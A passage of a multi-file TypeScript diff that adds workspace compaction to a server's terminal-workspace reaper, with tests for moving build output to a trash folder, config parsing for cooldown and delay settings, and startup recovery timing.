const { worktreePath } = await createRepoWithWorktree(["node_modules/"]);
|
||||
await write(path.join(worktreePath, "pkg[1]/node_modules/vendored/index.js"));
|
||||
await git(worktreePath, ["add", "-f", "pkg[1]/node_modules/vendored/index.js"]);
|
||||
await write(path.join(worktreePath, "pkg1/node_modules/dep/index.js"));
|
||||
|
||||
expect(await findRegenerableWorkspaceDirs(worktreePath)).toEqual(["pkg1/node_modules"]);
|
||||
});
|
||||
|
||||
it("ignores global and repository-local exclude files", async () => {
|
||||
const { root, repoRoot, worktreePath } = await createRepoWithWorktree(["dist/"]);
|
||||
const globalExcludes = path.join(root, "global-gitignore");
|
||||
await write(globalExcludes, "build/\n");
|
||||
await git(repoRoot, ["config", "core.excludesFile", globalExcludes]);
|
||||
await write(path.join(repoRoot, ".git/info/exclude"), "coverage/\n");
|
||||
await write(path.join(worktreePath, "build/draft.md"));
|
||||
await write(path.join(worktreePath, "coverage/report.html"));
|
||||
await write(path.join(worktreePath, "dist/bundle.js"));
|
||||
|
||||
expect(await findRegenerableWorkspaceDirs(worktreePath)).toEqual(["dist"]);
|
||||
});
|
||||
|
||||
it("stops when the sweep is aborted", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree(["node_modules/"]);
|
||||
await write(path.join(worktreePath, "node_modules/a/index.js"));
|
||||
const controller = new AbortController();
|
||||
controller.abort();
|
||||
await expect(findRegenerableWorkspaceDirs(worktreePath, { signal: controller.signal })).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("returns nothing when no directory qualifies", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree(["node_modules/"]);
|
||||
await write(path.join(worktreePath, "src/index.ts"));
|
||||
expect(await findRegenerableWorkspaceDirs(worktreePath)).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("isLinkedGitWorktree", () => {
|
||||
it("accepts a linked worktree and rejects a main checkout", async () => {
|
||||
const { repoRoot, worktreePath } = await createRepoWithWorktree([]);
|
||||
expect(await isLinkedGitWorktree(worktreePath)).toBe(true);
|
||||
expect(await isLinkedGitWorktree(repoRoot)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("compaction trash", () => {
|
||||
it("moves directories beside the worktree and restores them unchanged", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree(["node_modules/", "dist/"]);
|
||||
await write(path.join(worktreePath, "node_modules/a/index.js"), "dependency\n");
|
||||
await write(path.join(worktreePath, "packages/ui/dist/ui.js"), "bundle\n");
|
||||
|
||||
const move = await moveWorkspaceDirsToTrash(worktreePath, ["node_modules", "packages/ui/dist", "missing"]);
|
||||
expect(move.moved.map((entry) => entry.relativePath)).toEqual(["node_modules", "packages/ui/dist"]);
|
||||
expect(path.dirname(path.dirname(move.trashDir))).toBe(path.dirname(worktreePath));
|
||||
expect(path.basename(path.dirname(move.trashDir))).toBe(WORKSPACE_COMPACTION_TRASH_DIR);
|
||||
await expect(fs.access(path.join(worktreePath, "node_modules"))).rejects.toThrow();
|
||||
|
||||
await restoreWorkspaceDirsFromTrash(worktreePath, move);
|
||||
expect(await fs.readFile(path.join(worktreePath, "node_modules/a/index.js"), "utf8")).toBe("dependency\n");
|
||||
expect(await fs.readFile(path.join(worktreePath, "packages/ui/dist/ui.js"), "utf8")).toBe("bundle\n");
|
||||
await deleteWorkspaceCompactionTrash(move.trashDir);
|
||||
await expect(fs.access(move.trashDir)).rejects.toThrow();
|
||||
});
|
||||
|
||||
it("keeps a directory something recreated instead of overwriting it on restore", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree(["node_modules/"]);
|
||||
await write(path.join(worktreePath, "node_modules/a/index.js"), "old\n");
|
||||
const move = await moveWorkspaceDirsToTrash(worktreePath, ["node_modules"]);
|
||||
await write(path.join(worktreePath, "node_modules/a/index.js"), "reinstalled\n");
|
||||
|
||||
await restoreWorkspaceDirsFromTrash(worktreePath, move);
|
||||
expect(await fs.readFile(path.join(worktreePath, "node_modules/a/index.js"), "utf8")).toBe("reinstalled\n");
|
||||
});
|
||||
|
||||
it("purges only trash older than the threshold", async () => {
|
||||
const { worktreePath } = await createRepoWithWorktree([]);
|
||||
const parent = path.dirname(worktreePath);
|
||||
const stale = path.join(parent, WORKSPACE_COMPACTION_TRASH_DIR, "stale");
|
||||
const fresh = path.join(parent, WORKSPACE_COMPACTION_TRASH_DIR, "fresh");
|
||||
await write(path.join(stale, "0/file"));
|
||||
await write(path.join(fresh, "0/file"));
|
||||
const twoHoursAgo = new Date(Date.now() - 2 * 60 * 60 * 1000);
|
||||
await fs.utimes(stale, twoHoursAgo, twoHoursAgo);
|
||||
|
||||
await purgeStaleWorkspaceCompactionTrash(parent, 60 * 60 * 1000);
|
||||
await expect(fs.access(stale)).rejects.toThrow();
|
||||
await expect(fs.access(fresh)).resolves.toBeUndefined();
|
||||
});
|
||||
});
|
||||
@@ -2,7 +2,7 @@ import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import { loadConfig } from "../config.ts";
|
||||
|
||||
// The terminal-workspace reaper reads PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS.
|
||||
// These tests lock the parser contract: the default is 7 days, an explicit 0
|
||||
// These tests lock the parser contract: the default is 1 day, an explicit 0
|
||||
// means immediate reaping, and empty, whitespace-only, negative, or non-numeric
|
||||
// values fall back to the default. An empty or whitespace-only value must not
|
||||
// become 0, because that would delete terminal workspaces immediately.
|
||||
@@ -12,19 +12,19 @@ describe("workspace reaper cooldown config parsing", () => {
|
||||
vi.unstubAllEnvs();
|
||||
});
|
||||
|
||||
it("uses the 7 day default when the variable is not set", () => {
|
||||
it("uses the 1 day default when the variable is not set", () => {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", undefined);
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(1);
|
||||
});
|
||||
|
||||
it("uses the 7 day default for an empty value", () => {
|
||||
it("uses the 1 day default for an empty value", () => {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "");
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(1);
|
||||
});
|
||||
|
||||
it("uses the 7 day default for a whitespace-only value", () => {
|
||||
it("uses the 1 day default for a whitespace-only value", () => {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", " ");
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(1);
|
||||
});
|
||||
|
||||
it("keeps an explicit 0 as immediate reaping", () => {
|
||||
@@ -42,13 +42,50 @@ describe("workspace reaper cooldown config parsing", () => {
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(3);
|
||||
});
|
||||
|
||||
it("uses the 7 day default for a negative value", () => {
|
||||
it("uses the 1 day default for a negative value", () => {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "-1");
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(1);
|
||||
});
|
||||
|
||||
it("uses the 7 day default for a non-numeric value", () => {
|
||||
it("uses the 1 day default for a non-numeric value", () => {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS", "soon");
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(7);
|
||||
expect(loadConfig().workspaceReaperCooldownDays).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
// The reaper reads PAPERCLIP_WORKSPACE_COMPACTION_DELAY_HOURS and
|
||||
// PAPERCLIP_WORKSPACE_COMPACTION_ENABLED. The default delay is 1 hour, an
|
||||
// explicit 0 compacts on the next sweep, invalid values fall back to the
|
||||
// default, and only an explicit "false" turns compaction off.
|
||||
describe("workspace compaction config parsing", () => {
|
||||
afterEach(() => {
|
||||
vi.unstubAllEnvs();
|
||||
});
|
||||
|
||||
it("uses the 1 hour default when the variables are not set", () => {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_COMPACTION_DELAY_HOURS", undefined);
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_COMPACTION_ENABLED", undefined);
|
||||
expect(loadConfig().workspaceCompactionDelayHours).toBe(1);
|
||||
});
|
||||
|
||||
it("keeps an explicit 0 and reads fractional hours", () => {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_COMPACTION_DELAY_HOURS", "0");
|
||||
expect(loadConfig().workspaceCompactionDelayHours).toBe(0);
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_COMPACTION_DELAY_HOURS", " 0.5 ");
|
||||
expect(loadConfig().workspaceCompactionDelayHours).toBe(0.5);
|
||||
});
|
||||
|
||||
it("uses the 1 hour default for empty, negative, or non-numeric values", () => {
|
||||
for (const value of ["", " ", "-2", "later"]) {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_COMPACTION_DELAY_HOURS", value);
|
||||
expect(loadConfig().workspaceCompactionDelayHours).toBe(1);
|
||||
}
|
||||
});
|
||||
|
||||
it("turns compaction off only for an explicit false", () => {
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_COMPACTION_ENABLED", "false");
|
||||
expect(loadConfig().workspaceCompactionDelayHours).toBeNull();
|
||||
vi.stubEnv("PAPERCLIP_WORKSPACE_COMPACTION_ENABLED", "no");
|
||||
expect(loadConfig().workspaceCompactionDelayHours).toBe(1);
|
||||
});
|
||||
});
|
||||
@@ -1204,27 +1204,6 @@ describe("realizeExecutionWorkspace", () => {
|
||||
]);
|
||||
});
|
||||
|
||||
it("does not reset a reused worktree with untracked changes", async () => {
|
||||
const { sourceRepo, remotePath, repoRoot } = await createClonedRepoWithRemote();
|
||||
|
||||
const initial = await realizeWorktreeForTest(repoRoot, null);
|
||||
const initialHead = await readGit(initial.cwd, ["rev-parse", "HEAD"]);
|
||||
await fs.writeFile(path.join(initial.cwd, "scratch.txt"), "uncommitted scratch\n", "utf8");
|
||||
|
||||
await advanceRemoteMaster(sourceRepo, remotePath, "auth-fix.txt");
|
||||
|
||||
const reused = await realizeWorktreeForTest(repoRoot, null);
|
||||
|
||||
expect(reused.created).toBe(false);
|
||||
expect(await readGit(reused.cwd, ["rev-parse", "HEAD"])).toBe(initialHead);
|
||||
await expect(fs.readFile(path.join(reused.cwd, "scratch.txt"), "utf8")).resolves.toBe(
|
||||
"uncommitted scratch\n",
|
||||
);
|
||||
expect(reused.warnings).toEqual([
|
||||
expect.stringContaining("is behind origin/master by 1 commit"),
|
||||
]);
|
||||
});
|
||||
|
||||
it("does not reset a reused worktree with untracked changes when status.showUntrackedFiles=no", async () => {
|
||||
const { sourceRepo, remotePath, repoRoot } = await createClonedRepoWithRemote();
|
||||
|
||||
|
||||
@@ -390,29 +390,19 @@ describe("worktree config repair", () => {
|
||||
].join("\n"),
|
||||
"utf8",
|
||||
);
|
||||
const siblingConfig = buildLegacyConfig(siblingInstanceRoot);
|
||||
await fs.writeFile(
|
||||
path.join(siblingInstanceRoot, "config.json"),
|
||||
JSON.stringify(
|
||||
{
|
||||
...buildLegacyConfig(siblingInstanceRoot),
|
||||
...siblingConfig,
|
||||
database: {
|
||||
mode: "embedded-postgres",
|
||||
embeddedPostgresDataDir: path.join(siblingInstanceRoot, "db"),
|
||||
...siblingConfig.database,
|
||||
embeddedPostgresPort: 54330,
|
||||
backup: {
|
||||
enabled: true,
|
||||
intervalMinutes: 60,
|
||||
retentionDays: 30,
|
||||
dir: path.join(siblingInstanceRoot, "data", "backups"),
|
||||
},
|
||||
},
|
||||
server: {
|
||||
deploymentMode: "local_trusted",
|
||||
exposure: "private",
|
||||
host: "127.0.0.1",
|
||||
...siblingConfig.server,
|
||||
port: 3101,
|
||||
allowedHostnames: [],
|
||||
serveUi: true,
|
||||
},
|
||||
},
|
||||
null,
|
||||
@@ -707,52 +697,19 @@ describe("worktree config repair", () => {
|
||||
|
||||
await fs.mkdir(paperclipDir, { recursive: true });
|
||||
await fs.mkdir(path.dirname(siblingConfigPath), { recursive: true });
|
||||
const currentConfig = buildLegacyConfig(currentInstanceRoot);
|
||||
await fs.writeFile(
|
||||
configPath,
|
||||
JSON.stringify(
|
||||
{
|
||||
...buildLegacyConfig(currentInstanceRoot),
|
||||
...currentConfig,
|
||||
database: {
|
||||
mode: "embedded-postgres",
|
||||
embeddedPostgresDataDir: path.join(currentInstanceRoot, "db"),
|
||||
...currentConfig.database,
|
||||
embeddedPostgresPort: 54330,
|
||||
backup: {
|
||||
enabled: true,
|
||||
intervalMinutes: 60,
|
||||
retentionDays: 30,
|
||||
dir: path.join(currentInstanceRoot, "data", "backups"),
|
||||
},
|
||||
},
|
||||
logging: {
|
||||
mode: "file",
|
||||
logDir: path.join(currentInstanceRoot, "logs"),
|
||||
},
|
||||
server: {
|
||||
deploymentMode: "local_trusted",
|
||||
exposure: "private",
|
||||
host: "127.0.0.1",
|
||||
...currentConfig.server,
|
||||
port: 3101,
|
||||
allowedHostnames: [],
|
||||
serveUi: true,
|
||||
},
|
||||
storage: {
|
||||
provider: "local_disk",
|
||||
localDisk: {
|
||||
baseDir: path.join(currentInstanceRoot, "data", "storage"),
|
||||
},
|
||||
s3: {
|
||||
bucket: "paperclip",
|
||||
region: "us-east-1",
|
||||
prefix: "",
|
||||
forcePathStyle: false,
|
||||
},
|
||||
},
|
||||
secrets: {
|
||||
provider: "local_encrypted",
|
||||
strictMode: false,
|
||||
localEncrypted: {
|
||||
keyFilePath: path.join(currentInstanceRoot, "secrets", "master.key"),
|
||||
},
|
||||
},
|
||||
},
|
||||
null,
|
||||
@@ -770,29 +727,19 @@ describe("worktree config repair", () => {
|
||||
].join("\n"),
|
||||
"utf8",
|
||||
);
|
||||
const siblingConfig = buildLegacyConfig(siblingInstanceRoot);
|
||||
await fs.writeFile(
|
||||
siblingConfigPath,
|
||||
JSON.stringify(
|
||||
{
|
||||
...buildLegacyConfig(siblingInstanceRoot),
|
||||
...siblingConfig,
|
||||
database: {
|
||||
mode: "embedded-postgres",
|
||||
embeddedPostgresDataDir: path.join(siblingInstanceRoot, "db"),
|
||||
...siblingConfig.database,
|
||||
embeddedPostgresPort: 54330,
|
||||
backup: {
|
||||
enabled: true,
|
||||
intervalMinutes: 60,
|
||||
retentionDays: 30,
|
||||
dir: path.join(siblingInstanceRoot, "data", "backups"),
|
||||
},
|
||||
},
|
||||
server: {
|
||||
deploymentMode: "local_trusted",
|
||||
exposure: "private",
|
||||
host: "127.0.0.1",
|
||||
...siblingConfig.server,
|
||||
port: 3101,
|
||||
allowedHostnames: [],
|
||||
serveUi: true,
|
||||
},
|
||||
},
|
||||
null,
|
||||
@@ -827,52 +774,19 @@ describe("worktree config repair", () => {
|
||||
const instanceRoot = path.join(isolatedHome, "instances", "pap-878-create-a-mine-tab-in-inbox");
|
||||
|
||||
await fs.mkdir(paperclipDir, { recursive: true });
|
||||
const config = buildLegacyConfig(instanceRoot, "http://my-host.ts.net:3100");
|
||||
await fs.writeFile(
|
||||
configPath,
|
||||
JSON.stringify(
|
||||
{
|
||||
...buildLegacyConfig(instanceRoot, "http://my-host.ts.net:3100"),
|
||||
...config,
|
||||
database: {
|
||||
mode: "embedded-postgres",
|
||||
embeddedPostgresDataDir: path.join(instanceRoot, "db"),
|
||||
...config.database,
|
||||
embeddedPostgresPort: 54331,
|
||||
backup: {
|
||||
enabled: true,
|
||||
intervalMinutes: 60,
|
||||
retentionDays: 30,
|
||||
dir: path.join(instanceRoot, "data", "backups"),
|
||||
},
|
||||
},
|
||||
logging: {
|
||||
mode: "file",
|
||||
logDir: path.join(instanceRoot, "logs"),
|
||||
},
|
||||
server: {
|
||||
deploymentMode: "local_trusted",
|
||||
exposure: "private",
|
||||
host: "127.0.0.1",
|
||||
...config.server,
|
||||
port: 3101,
|
||||
allowedHostnames: [],
|
||||
serveUi: true,
|
||||
},
|
||||
storage: {
|
||||
provider: "local_disk",
|
||||
localDisk: {
|
||||
baseDir: path.join(instanceRoot, "data", "storage"),
|
||||
},
|
||||
s3: {
|
||||
bucket: "paperclip",
|
||||
region: "us-east-1",
|
||||
prefix: "",
|
||||
forcePathStyle: false,
|
||||
},
|
||||
},
|
||||
secrets: {
|
||||
provider: "local_encrypted",
|
||||
strictMode: false,
|
||||
localEncrypted: {
|
||||
keyFilePath: path.join(instanceRoot, "secrets", "master.key"),
|
||||
},
|
||||
},
|
||||
},
|
||||
null,
|
||||
@@ -917,52 +831,19 @@ describe("worktree config repair", () => {
|
||||
const instanceRoot = path.join(isolatedHome, "instances", "pap-125-public-base-url");
|
||||
|
||||
await fs.mkdir(paperclipDir, { recursive: true });
|
||||
const config = buildLegacyConfig(instanceRoot, "https://paperclip.example");
|
||||
await fs.writeFile(
|
||||
configPath,
|
||||
JSON.stringify(
|
||||
{
|
||||
...buildLegacyConfig(instanceRoot, "https://paperclip.example"),
|
||||
...config,
|
||||
database: {
|
||||
mode: "embedded-postgres",
|
||||
embeddedPostgresDataDir: path.join(instanceRoot, "db"),
|
||||
...config.database,
|
||||
embeddedPostgresPort: 54331,
|
||||
backup: {
|
||||
enabled: true,
|
||||
intervalMinutes: 60,
|
||||
retentionDays: 30,
|
||||
dir: path.join(instanceRoot, "data", "backups"),
|
||||
},
|
||||
},
|
||||
logging: {
|
||||
mode: "file",
|
||||
logDir: path.join(instanceRoot, "logs"),
|
||||
},
|
||||
server: {
|
||||
deploymentMode: "local_trusted",
|
||||
exposure: "private",
|
||||
host: "127.0.0.1",
|
||||
...config.server,
|
||||
port: 3101,
|
||||
allowedHostnames: [],
|
||||
serveUi: true,
|
||||
},
|
||||
storage: {
|
||||
provider: "local_disk",
|
||||
localDisk: {
|
||||
baseDir: path.join(instanceRoot, "data", "storage"),
|
||||
},
|
||||
s3: {
|
||||
bucket: "paperclip",
|
||||
region: "us-east-1",
|
||||
prefix: "",
|
||||
forcePathStyle: false,
|
||||
},
|
||||
},
|
||||
secrets: {
|
||||
provider: "local_encrypted",
|
||||
strictMode: false,
|
||||
localEncrypted: {
|
||||
keyFilePath: path.join(instanceRoot, "secrets", "master.key"),
|
||||
},
|
||||
},
|
||||
},
|
||||
null,
|
||||
|
||||
+25
-3
@@ -80,6 +80,7 @@ export interface Config {
|
||||
databaseBackupRetentionDays: number;
|
||||
databaseBackupDir: string;
|
||||
workspaceReaperCooldownDays: number;
|
||||
workspaceCompactionDelayHours: number | null;
|
||||
serveUi: boolean;
|
||||
uiDevMiddleware: boolean;
|
||||
secretsProvider: SecretProvider;
|
||||
@@ -281,8 +282,10 @@ export function loadConfig(): Config {
|
||||
// becomes terminal before it archives the workspace. A person can reopen the
|
||||
// work inside this window. A value of 0 disables the cooldown and restores
|
||||
// immediate reaping. A negative or non-numeric value falls back to the
|
||||
// default. The day granularity and the default of 7 obey the
|
||||
// PAPERCLIP_DB_BACKUP_RETENTION_DAYS precedent above.
|
||||
// default. The day granularity obeys the PAPERCLIP_DB_BACKUP_RETENTION_DAYS
|
||||
// precedent above. The default is 1 day: regenerable files are compacted
|
||||
// after a few hours anyway, so a longer hold only keeps source checkouts of
|
||||
// delivered work, and a recurring task produces one workspace per run.
|
||||
const workspaceReaperCooldownDaysEnv =
|
||||
process.env.PAPERCLIP_WORKSPACE_REAPER_COOLDOWN_DAYS?.trim();
|
||||
const workspaceReaperCooldownDaysRaw = Number(workspaceReaperCooldownDaysEnv);
|
||||
@@ -291,7 +294,25 @@ export function loadConfig(): Config {
|
||||
&& Number.isFinite(workspaceReaperCooldownDaysRaw)
|
||||
&& workspaceReaperCooldownDaysRaw >= 0
|
||||
? workspaceReaperCooldownDaysRaw
|
||||
: 7;
|
||||
: 1;
|
||||
// The terminal-workspace reaper removes regenerable files (installed
|
||||
// dependencies, build output, tool caches) from a terminal workspace this
|
||||
// many hours after its issue tree becomes terminal. The worktree and every
|
||||
// source file stay; a resumed task regenerates the files when its workspace
|
||||
// is provisioned again. 0 compacts on the next sweep. A negative, empty, or
|
||||
// non-numeric value falls back to the default of 1 hour.
|
||||
// PAPERCLIP_WORKSPACE_COMPACTION_ENABLED=false turns compaction off.
|
||||
const workspaceCompactionDelayHoursEnv =
|
||||
process.env.PAPERCLIP_WORKSPACE_COMPACTION_DELAY_HOURS?.trim();
|
||||
const workspaceCompactionDelayHoursRaw = Number(workspaceCompactionDelayHoursEnv);
|
||||
const workspaceCompactionDelayHours =
|
||||
process.env.PAPERCLIP_WORKSPACE_COMPACTION_ENABLED?.trim().toLowerCase() === "false"
|
||||
? null
|
||||
: workspaceCompactionDelayHoursEnv
|
||||
&& Number.isFinite(workspaceCompactionDelayHoursRaw)
|
||||
&& workspaceCompactionDelayHoursRaw >= 0
|
||||
? workspaceCompactionDelayHoursRaw
|
||||
: 1;
|
||||
const bindValidationErrors = validateConfiguredBindMode({
|
||||
deploymentMode,
|
||||
deploymentExposure,
|
||||
@@ -338,6 +359,7 @@ export function loadConfig(): Config {
|
||||
databaseBackupRetentionDays,
|
||||
databaseBackupDir,
|
||||
workspaceReaperCooldownDays,
|
||||
workspaceCompactionDelayHours,
|
||||
serveUi:
|
||||
process.env.SERVE_UI !== undefined
|
||||
? process.env.SERVE_UI === "true"
|
||||
|
||||
+59
-51
@@ -1,3 +1,4 @@
|
||||
import { timeStartupRecovery } from "./startup-recovery-timing.js";
|
||||
import { skillSourceSyncService } from "./services/skill-source-sync.js";
|
||||
import { subscribeAllCompanyLiveEvents } from "./services/live-events.js";
|
||||
import { DELIVERY_QUEUES } from "./services/delivery-work-notifications.js";
|
||||
@@ -1347,9 +1348,9 @@ async function startServerWithDatabaseTeardown(
|
||||
}));
|
||||
};
|
||||
|
||||
await app.locals.toolGateway.sweepActionReviews().catch((err: unknown) => logger.error({ err }, "startup tool review recovery failed"));
|
||||
await app.locals.toolGateway.cleanupExpiredSessions().catch((err: unknown) => logger.error({ err }, "startup gateway token cleanup failed"));
|
||||
await Promise.all([fastResponseWorker, ...deliveryWorkers].map(worker => worker.ready));
|
||||
await timeStartupRecovery("tool_reviews", () => app.locals.toolGateway.sweepActionReviews()).catch((err: unknown) => logger.error({ err }, "startup tool review recovery failed"));
|
||||
await timeStartupRecovery("gateway_sessions", () => app.locals.toolGateway.cleanupExpiredSessions()).catch((err: unknown) => logger.error({ err }, "startup gateway token cleanup failed"));
|
||||
await timeStartupRecovery("delivery_workers", () => Promise.all([fastResponseWorker, ...deliveryWorkers].map(worker => worker.ready)));
|
||||
scheduleGitHubConnectionEventPoll();
|
||||
scheduleGitHubConnectionContinuitySweep();
|
||||
|
||||
@@ -1374,6 +1375,9 @@ async function startServerWithDatabaseTeardown(
|
||||
});
|
||||
const terminalWorkspaces = executionWorkspaceService(db as any, {
|
||||
workspaceReaperCooldownDays: config.workspaceReaperCooldownDays,
|
||||
workspaceCompactionDelayMs: config.workspaceCompactionDelayHours === null
|
||||
? null
|
||||
: config.workspaceCompactionDelayHours * 60 * 60 * 1000,
|
||||
terminalWorkspaceInspectionBackoffMs: TERMINAL_WORKSPACE_RETRY_MS,
|
||||
});
|
||||
const scheduleMergedPullRequestConfirmationSweep = () => {
|
||||
@@ -1392,9 +1396,9 @@ async function startServerWithDatabaseTeardown(
|
||||
let lastTerminalWorkspaceSkipLogAt = 0;
|
||||
const terminalWorkspaceWorker = registerTerminalWorkspaceWork(deliveryWork, {
|
||||
...terminalWorkspaces,
|
||||
sweepTerminalWorkspaces: async (limit, signal) => {
|
||||
const result = await terminalWorkspaces.sweepTerminalWorkspaces(limit, signal);
|
||||
if (result.archived > 0 || result.cleanupFailed > 0) {
|
||||
sweepTerminalWorkspaces: async (limit, signal, options) => {
|
||||
const result = await terminalWorkspaces.sweepTerminalWorkspaces(limit, signal, options);
|
||||
if (result.archived > 0 || result.cleanupFailed > 0 || result.compacted > 0 || result.compactionFailed > 0) {
|
||||
logger.info(result, "terminal issue workspace reaper changed workspace state");
|
||||
} else if (result.checked > 0 && Date.now() - lastTerminalWorkspaceSkipLogAt >= 10 * 60 * 1000) {
|
||||
lastTerminalWorkspaceSkipLogAt = Date.now();
|
||||
@@ -1477,7 +1481,7 @@ async function startServerWithDatabaseTeardown(
|
||||
},
|
||||
"worktree run-execution cutoff state",
|
||||
);
|
||||
await accountingHeartbeat.reconcileCostAccounting().catch((err) => logger.error({ err }, "Cost accounting recovery failed; pending receipts will retry"));
|
||||
await timeStartupRecovery("accounting", () => accountingHeartbeat.reconcileCostAccounting()).catch((err) => logger.error({ err }, "Cost accounting recovery failed; pending receipts will retry"));
|
||||
const heartbeatSchedulingSuppression = await heartbeat.resolveSchedulingSuppression();
|
||||
|
||||
// Reap orphaned runs before timer ticks start so wakeups cannot coalesce
|
||||
@@ -1491,9 +1495,9 @@ async function startServerWithDatabaseTeardown(
|
||||
const startupHeartbeatRecovery = (async () => {
|
||||
// Legacy remote recovery releases sandbox leases. Wait for provider
|
||||
// workers before cleanup or retry admission, including unmanaged installs.
|
||||
await app.locals.bundledPluginsStartup;
|
||||
await timeStartupRecovery("plugin_workers", () => app.locals.bundledPluginsStartup);
|
||||
try {
|
||||
const nativeRecovery = await heartbeat.recoverNativeRunsAfterRestart();
|
||||
const nativeRecovery = await timeStartupRecovery("native_recovery", () => heartbeat.recoverNativeRunsAfterRestart());
|
||||
if (nativeRecovery.dispositions.length > 0) {
|
||||
logger.info(
|
||||
{
|
||||
@@ -1518,7 +1522,7 @@ async function startServerWithDatabaseTeardown(
|
||||
throw err;
|
||||
}
|
||||
try {
|
||||
const hotRestart = await heartbeat.reconcileHotRestartAdoption();
|
||||
const hotRestart = await timeStartupRecovery("hot_restart", () => heartbeat.reconcileHotRestartAdoption());
|
||||
if (hotRestart.mode === "reported") {
|
||||
logger.info(
|
||||
hotRestart,
|
||||
@@ -1534,7 +1538,7 @@ async function startServerWithDatabaseTeardown(
|
||||
|
||||
for (let attempt = 1; attempt <= 2; attempt++) {
|
||||
try {
|
||||
const result = await heartbeat.reapOrphanedRuns();
|
||||
const result = await timeStartupRecovery("orphan_reaping", () => heartbeat.reapOrphanedRuns());
|
||||
logger.info(
|
||||
{ reaped: result.reaped, runIds: result.runIds },
|
||||
"startup reap of orphaned heartbeat runs complete",
|
||||
@@ -1552,9 +1556,9 @@ async function startServerWithDatabaseTeardown(
|
||||
}
|
||||
}
|
||||
|
||||
const promotion = await heartbeat.promoteDueScheduledRetries();
|
||||
await heartbeat.resumeQueuedRuns();
|
||||
const recoveredGoalActions = await heartbeat.recoverPendingSessionGoalActions();
|
||||
const promotion = await timeStartupRecovery("scheduled_retries", () => heartbeat.promoteDueScheduledRetries());
|
||||
await timeStartupRecovery("queued_runs", () => heartbeat.resumeQueuedRuns());
|
||||
const recoveredGoalActions = await timeStartupRecovery("goal_actions", () => heartbeat.recoverPendingSessionGoalActions());
|
||||
if (
|
||||
recoveredGoalActions.enqueued > 0 ||
|
||||
recoveredGoalActions.invalid > 0
|
||||
@@ -1564,7 +1568,7 @@ async function startServerWithDatabaseTeardown(
|
||||
"startup session-goal action outbox recovery reconciled pending controls",
|
||||
);
|
||||
}
|
||||
const recoveredGoals = await heartbeat.recoverActiveSessionGoals();
|
||||
const recoveredGoals = await timeStartupRecovery("active_goals", () => heartbeat.recoverActiveSessionGoals());
|
||||
if (recoveredGoals.enqueued > 0) {
|
||||
logger.warn(
|
||||
recoveredGoals,
|
||||
@@ -1620,39 +1624,6 @@ async function startServerWithDatabaseTeardown(
|
||||
await startupHeartbeatRecovery;
|
||||
}
|
||||
|
||||
const setupCleanup = await environmentCustomImages.cleanupExpiredSetupSessions();
|
||||
if (setupCleanup.timedOut > 0 || setupCleanup.failed > 0) {
|
||||
logger.warn({ ...setupCleanup }, "startup environment customImage setup cleanup changed sessions");
|
||||
}
|
||||
|
||||
const toolHealthSweep = await tools.sweepConnectionHealth();
|
||||
if (toolHealthSweep.failed > 0) {
|
||||
logger.warn({ ...toolHealthSweep }, "startup tool connection health sweep found failing connections");
|
||||
}
|
||||
await decisionExecutor.sweepExpired();
|
||||
|
||||
// Run the adapter login reaper once at startup, so a login sandbox that
|
||||
// outlived a server restart is deleted before timer ticks start.
|
||||
await adapterLoginReaper
|
||||
.sweep()
|
||||
.then(logAdapterLoginReaperResult)
|
||||
.catch((err) => {
|
||||
logger.error({ err }, "startup adapter login reaper sweep failed");
|
||||
});
|
||||
|
||||
// Run the setup-token login reaper once at startup, so a login sandbox lease
|
||||
// that outlived a server restart releases before timer ticks start.
|
||||
await setupTokenReaper
|
||||
.sweep()
|
||||
.then(logSetupTokenReaperResult)
|
||||
.catch((err) => {
|
||||
logger.error({ err }, "startup setup-token login reaper sweep failed");
|
||||
});
|
||||
|
||||
// Retry any orphan sandbox teardown left by a failed acquire before a server
|
||||
// restart, so a leaked sandbox does not stay allocated across the restart.
|
||||
await runEnvironmentLeaseCleanupSweep(0);
|
||||
|
||||
const runRetentionSweep = async () => {
|
||||
const activeCompanies = await db.select({ id: companies.id }).from(companies).where(eq(companies.status, "active"));
|
||||
let archived = 0;
|
||||
@@ -1670,9 +1641,43 @@ async function startServerWithDatabaseTeardown(
|
||||
const notifications = await retentionExecutor.deliverNotifications();
|
||||
return { archived, ...notifications };
|
||||
};
|
||||
await runRetentionSweep();
|
||||
// Startup housekeeping: provider and connection sweeps that every timer tick
|
||||
// repeats and that neither serving requests nor run recovery depends on.
|
||||
// Readiness does not wait for it. It is tracked as scheduler work, so idle
|
||||
// sleep and shutdown wait for it. Each step logs its own failure and the
|
||||
// next step still runs. The scheduler interval starts after it, so the login
|
||||
// reapers and the lease cleanup still finish before the first timer tick.
|
||||
